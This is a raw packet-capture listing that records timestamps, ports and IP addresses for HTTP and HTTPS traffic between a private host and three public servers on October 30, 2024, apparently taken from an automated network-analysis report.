Oct 30, 2024 15:59:35.216103077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.216156006 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.216248989 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.216289997 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.277196884 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:35.277224064 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:35.277273893 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:35.277309895 CET	49738	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:35.277332067 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:35.277376890 CET	49738	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:35.277456999 CET	49738	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:35.278258085 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:35.278337002 CET	49738	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:35.278350115 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:35.284125090 CET	49738	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:35.284125090 CET	49738	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:35.284148932 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:35.284312963 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:35.284342051 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:35.284410954 CET	49738	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:35.292897940 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.292927027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.292943954 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.292957067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.292975903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.292983055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.293014050 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.293023109 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.293793917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.293809891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.293826103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.293859959 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.293859959 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.296297073 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.296314001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.296367884 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.331080914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.331135988 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.331171036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.331206083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.331207991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.331234932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.331248999 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.331437111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.331501961 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.370803118 CET	49741	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.370836973 CET	443	49741	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.371104956 CET	49741	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.372375011 CET	49741	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.372395039 CET	443	49741	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.377688885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.377710104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.377717972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.377746105 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.377768993 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.377785921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.378031969 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.418560028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.418597937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.418631077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.418664932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.418665886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.418679953 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.418725967 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.418735981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.418772936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.418818951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.418832064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.418854952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.418865919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.418889046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.418924093 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.418936014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.418962002 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.447274923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.447302103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.447325945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.447344065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.447376013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.447406054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.447453976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.447751999 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.472186089 CET	49751	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:35.472223043 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:35.472461939 CET	49751	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:35.472812891 CET	49751	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:35.472826004 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:35.493489981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.493510008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.493526936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.493567944 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.493597984 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.510096073 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.512285948 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.512315035 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.512928963 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.512934923 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.524926901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.524945021 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.524960995 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.524995089 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.525018930 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.525316000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.525331974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.525348902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.525374889 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.525374889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.525391102 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.525392056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.525408030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.525423050 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.525433064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.525450945 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.525487900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.526297092 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.526360035 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.563098907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.563118935 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.563138008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.563184023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.563200951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.563311100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.563333035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.563348055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.563395023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.563596964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.563652992 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.563812971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.563896894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.608786106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.608866930 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.608978987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.608994007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.609011889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.609025955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.609044075 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.609061003 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.640353918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.640458107 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.640502930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.640506029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.640527964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.640544891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.640578032 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.640603065 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.640799046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.641035080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.641051054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.641067982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.641086102 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.641088963 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.641107082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.641113997 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.641134024 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.641176939 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.653012037 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.653255939 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.653363943 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.653479099 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.653489113 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.653493881 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.653498888 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.656569958 CET	49752	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.656614065 CET	443	49752	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.656778097 CET	49752	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.657265902 CET	49752	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.657283068 CET	443	49752	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.673677921 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.673939943 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.673964024 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.674314022 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.674663067 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.674724102 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.674864054 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.678548098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.678611040 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.678642035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.678658009 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.678683996 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.678702116 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.679106951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.679126978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.679143906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.679163933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.679193020 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.719321966 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.724242926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.724303007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.724304914 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.724309921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.724349976 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.756037951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.756056070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.756072044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.756135941 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.756238937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.756253958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.756270885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.756308079 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.756323099 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.756691933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.756709099 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.756767988 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.756767988 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.756973982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.757025957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.757040024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.757091999 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.757302046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.757318020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.757353067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.757378101 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.794076920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.794102907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.794116974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.794157982 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.794200897 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.794346094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.794373035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.794389009 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.794435978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.799155951 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.799758911 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.799807072 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.800326109 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.800333023 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.839782000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.839811087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.839826107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.839845896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.839906931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.839906931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.843607903 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.843631983 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.843677998 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.843718052 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.843738079 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.843784094 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.845052958 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.845077991 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.845474958 CET	49753	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.845513105 CET	443	49753	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.846065044 CET	49753	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.846640110 CET	49753	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.846657991 CET	443	49753	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.871550083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.871581078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.871596098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.871687889 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.871687889 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.871887922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.871937037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.871937037 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.871953964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.872020006 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.872208118 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.872256041 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.872342110 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.872356892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.872374058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.872389078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.872395992 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.872422934 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.872450113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.872796059 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.873189926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.873204947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.873222113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.873238087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.873243093 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.873271942 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.873285055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.889940023 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.890230894 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.890268087 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.890639067 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.891072989 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.891149998 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.891325951 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.899600983 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.899620056 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.899851084 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.899864912 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.900010109 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.900041103 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.900902987 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.901082039 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.901106119 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.901161909 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.901699066 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.901762962 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.902018070 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.902025938 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.902883053 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.902977943 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.903028011 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.903039932 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.909693003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.909707069 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.909764051 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.909800053 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.909862041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.909883976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.909890890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.909934044 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.909991026 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.910012960 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.911042929 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.911108017 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.911432981 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.911509037 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.911619902 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.911626101 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.914303064 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.914475918 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.914493084 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.915544987 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.915613890 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.916109085 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.916171074 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.916234970 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.935288906 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.935424089 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.935724974 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.935724974 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.935832024 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.935843945 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.939224958 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.939274073 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.939327002 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.939383030 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.939553022 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.939568043 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.955358982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.955375910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.955399036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.955476046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.955476046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.963342905 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.964251995 CET	49746	443	192.168.2.6	13.107.246.45
